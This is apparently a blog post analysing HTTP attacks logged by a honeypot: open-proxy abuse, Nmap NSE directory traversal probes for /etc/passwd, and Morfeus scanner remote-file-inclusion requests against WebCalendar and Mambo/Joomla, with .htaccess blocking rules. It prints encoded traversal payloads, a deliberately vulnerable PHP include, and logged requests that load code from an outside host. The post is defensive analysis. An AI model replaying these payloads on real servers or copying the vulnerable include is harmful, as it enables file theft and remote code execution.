In this post I will talk about the HTTP results that I collected from the experience with one honeypot.
As you may know, I’ve been putting one honeypot running for 5 weeks. I’ve previously talked about SMTP and SSH attacks, now is the time for HTTP. This service (port 80) is by far the most fustigated service in the honeypot. And make sense, in this port we can have a lot of Web services with a lot of exploitable code running…
This chart represents the number of hit’s in the port 80, that our honeypot had during his activity:
Open Proxy’s
An open proxy is like an Open mail relay, described in SMTP attacks. Anyone in the internet can use this systems to reduce their using of the bandwidth. For example, if an open proxy is located in your country, and if your internet provider only allow you to access web pages of your country, you can use this systems to visit outside pages.
The process is quite simple, if you are under a proxy and you want a web page, the proxy go get them for you and send that to you. All the traffic and effort was made by the proxy. Is just like a forwarding service.
Here at the University we have one closed proxy, and that is great, because a lot of pages are in cache, so even we have a 1Gb connection, the proxy don’t need to get the page we want, because have it in the cache.
webcollage/1.135a
The webcollage is a program that seeks the Internet images and composes them in a window. Some have described as a pop culture program. This program makes random web searches and extract the images of the results.
There was a host that has make some hit’s in our honeypot’s, as we can see in the following extract from the file web.log:
--MARK--,"Mon Dec 15 23:09:00 WET 2008","IIS/HTTP","92.240.68.152","192.168.1.50",56886,80, "GET http://www.morgangirl.com/pics/land/land1.jpg HTTP/1.0 User-Agent: webcollage/1.135a Referer: http://random.yahoo.com/fast/ryl Host: www.morgangirl.com ", --ENDMARK--
The interesting here is that this agent is trying to get an image using our honeypot as a open proxy. The possibilities is that our honeypot as been seen by a proxy scanner in the past that have add our honeypot to an open proxy list.
Solution
We can do something, if this had happened for real. We can block the IP that made the request (92.240.68.152) to avoid future requests by this host. But the problem is not from this person who is using a program to get the images. The problem here is that we are targeted as an open proxy, and probably in the future we will be asked again to get some file.
A more comprehensive solution is to block all the requests made from this program. Adding this lines to the file “.htaccess” in the folder.
# Start of .htaccess change. RewriteEngine On RewriteCond %{HTTP_USER_AGENT} ^webcollage RewriteRule ^.*$ - [F] # End of .htaccess change.
This won’t prevent all the attempts to use our server as open proxy, but will prevent all the requests made by this program.
Directory traversal
A directory traversal attacks intend to exploit insufficient security validation of user-supplied input file names. The main objective of this attack is gain access to a computer file that is not intended to be accessible.
I will give you the Wikipedia example:
Imagine you have this PHP script running in your server, and this page have the name vulnerable.php:
<?php $template = 'blue.php'; if ( isset( $_COOKIE['TEMPLATE'] ) ) $template = $_COOKIE['TEMPLATE']; include ( "/home/users/phpguru/templates/" . $template ); ?>
If someone send you this request:
GET /vulnerable.php HTTP/1.0 Cookie: TEMPLATE=../../../../../../../../../etc/passwd
Your server will return your /etc/passwd file, in the response:
HTTP/1.0 200 OK Content-Type: text/html Server: Apache root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh daemon:*:1:1::/tmp: phpguru:f8fk3j1OIf31.:182:100:Admin:/home/users/phpguru/:/bin/csh
We have seen a lot of variations of this attack, as will show you after.
On 4 January 2009 dozens of hit’s were made from Lelystad, The Netherlands. These hit’s were performed to verify if our HTTP server allow directory traversal, to get the file /etc/passwd by the attacker.
In this case, the attacker wanted to acquire the /etc/passwd to perhaps have a list of the users that can access to the system. To possibly get access through any of them.
This type of attack is usually done not asking directly for the file through its conventional path, but in an encrypted way (using exa characters). With that variations it is more unlikely that the application perform validations on what the attacker wants.
Unfortunately our honeypot, not saved the log file’s during the day January 1 until 4, so we only can see in the other’s log’s the activity performed by this host. We cannot show the number of hit’s of this IP in day 4.
In the following listings I will show the pairs of command that the attacker wanted to do and the package that came to our honeypot.
GET ../../../../../../../../../../etc/passwd HTTP/1.1
--MARK--,"Sun Jan 4 05:20:57 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59706,80, "GET %2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1 User-Agent: Nmap NSE Connection: close Host: 82.155.127.187 ", --ENDMARK--
GET .../../../../../../../../../../etc/passwd HTTP/1.1
--MARK--,"Sun Jan 4 05:20:58 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59711,80, "GET %2E%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1 User-Agent: Nmap NSE Connection: close Host: 82.155.127.187 ", --ENDMARK--
GET ../../../../../../../../../../etc/passwd HTTP/1.1
--MARK--,"Sun Jan 4 05:21:02 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59727,80, "GET %2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2Fetc%5C%2Fpasswd HTTP/1.1 User-Agent: Nmap NSE Connection: close Host: 82.155.127.187 ", --ENDMARK--
GET ....................etcpasswd HTTP/1.1
--MARK--,"Sun Jan 4 05:21:04 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59740,80, "GET %2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5Cetc%5Cpasswd HTTP/1.1 User-Agent: Nmap NSE Connection: close Host: 82.155.127.187 ", --ENDMARK--
GET //etc/passwd HTTP/1.1
--MARK--,"Sun Jan 4 05:20:59 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59700,80, "GET %2F%2Fetc%2Fpasswd HTTP/1.1 User-Agent: Nmap NSE Connection: close Host: 82.155.127.187 ", --ENDMARK--
Conclusion
Possibly an attacker trying to do this in a real server would get the file he wanted, but our honeypot was not prepared to
respond to such attacks, and it only responds with a message 302:
HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.0 P3P: CP='ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI' Date: Sab Jan 10 21:46:17 WET 2009 Content-Type: text/html Connection: close Accept-Ranges: bytes Set-Cookie: isHuman=Y; path=/ Set-Cookie: visits=1; expires=; path=/ Set-Cookie: ASPSESSIONIDCBBABCDC=DEADBEDFBDFCCEBBBA; path=/ Expires: Sab Jan 10 21:46:17 WET 2009 Cache-control: private <head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://bps-pc9.local.mynet/">here</a>.</body>
We can conclude that the requests that were sent to our honeypot mean that the attacker was using the NSE, which means nmap scripting engine. This is a tool that comes with nmap.
Allows the user to write scripts to automate various tasks in the network.
Here we can see the script that was used to perform this attack.
Morfeus Fucking Scanner (MFS)
MFS is a scanner that search web pages with PHP vulnerabilities. This scanner has a large number of tests for known vulnerabilities in PHP scripts. Then we show some of those applications that MFS search for vulnerabilities.
WebCalendar
The WebCalendar is a web calendar that can be used by one or more users, it is possible to create groups with calendars and it supports a wide range of databases.
This application uses several PHP files, one of those id send_reminder.php that contained serious vulnerabilities, one of which allowed the inclusion of remote files through variable “includedir” that was not validated. So anyone can add whatever he want on this page.
We found that this vulnerability only affects WebCalendar version 1.0.4, this application has now in version 1.2.
While our honeypot not have this application installed, although there were made some attempts to attacks on this application, two of them over the vulnerability of this file, as the log show’s.
--MARK--,"Wed Dec 24 16:07:29 WET 2008","IIS/HTTP","74.52.10.34","192.168.1.50",54941,80, "GET /webcalendar/tools/send_reminders.php?noSet=0&includedir=http://217.20.172.129/twiki/a.gif?/ HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Morfeus Fucking Scanner Host: 82.155.248.190 Connection: Close ", --ENDMARK--
--MARK--,"Wed Dec 24 16:07:30 WET 2008","IIS/HTTP","74.52.10.34","192.168.1.50",55003,80, "GET /calendar/tools/send_reminders.php?noSet=0&includedir=http://217.20.172.129/twiki/a.gif?/ HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Morfeus Fucking Scanner Host: 82.155.248.190 Connection: Close ", --ENDMARK--
This scanner (MFS) scans a list of hosts and attempts to link up several times until the server be attacked.
In our case this type of request on port 80 only returns a 404 error.
The gif file that the attacker wants to include just print a message:
echo (" Morfeus hacked you ");
Conclusion
Although this file has been fixed in this application, the truth is that this scanner continues to include this as a test. The reason for this is that still have many applications with this vulnerability exposed on the Internet.
Mambo/Joomla
The CMS Mambo is very popular and used worldwide. The Joomla is a derivative of the first one. In this applications have been discovered many bugs, MFS seems to use some of them. We saw one in particular:
--MARK--,"Wed Dec 24 16:07:34 WET 2008","IIS/HTTP","74.52.10.34","192.168.1.50",55438,80, "GET /shop/index.php?option=com_registration&task=register//boutique/index2.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://217.20.172.129/twiki/a.gif?/ HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Morfeus Fucking Scanner Host: 82.155.248.190 Connection: Close ", --ENDMARK--
The attacker wants to set the variable mosConfig_absolute_path from the file index.php with the typical message that has already explained above. What we find is that the input passed to this file in not validated before being used to include files.
This system can be victim of one attack by allowing run code from any source without ever make payable checks.
Prevent attacks from MFS
One way to block this type of attacks from MFS is to add the following lines of code in file. “htaccess” in the folder of the website.
# Start of .htaccess change. RewriteEngine On RewriteCond %{HTTP_USER_AGENT} ^Morfeus RewriteRule ^.*$ - [F] # End of .htaccess change.
Outroduction
Note that the “.htaccess” solutions that I gave only works for HTTP servers that use Apache. Users of IIS can use the IsapiRewrite tool.
References
- Directory traversal Wikipedia entry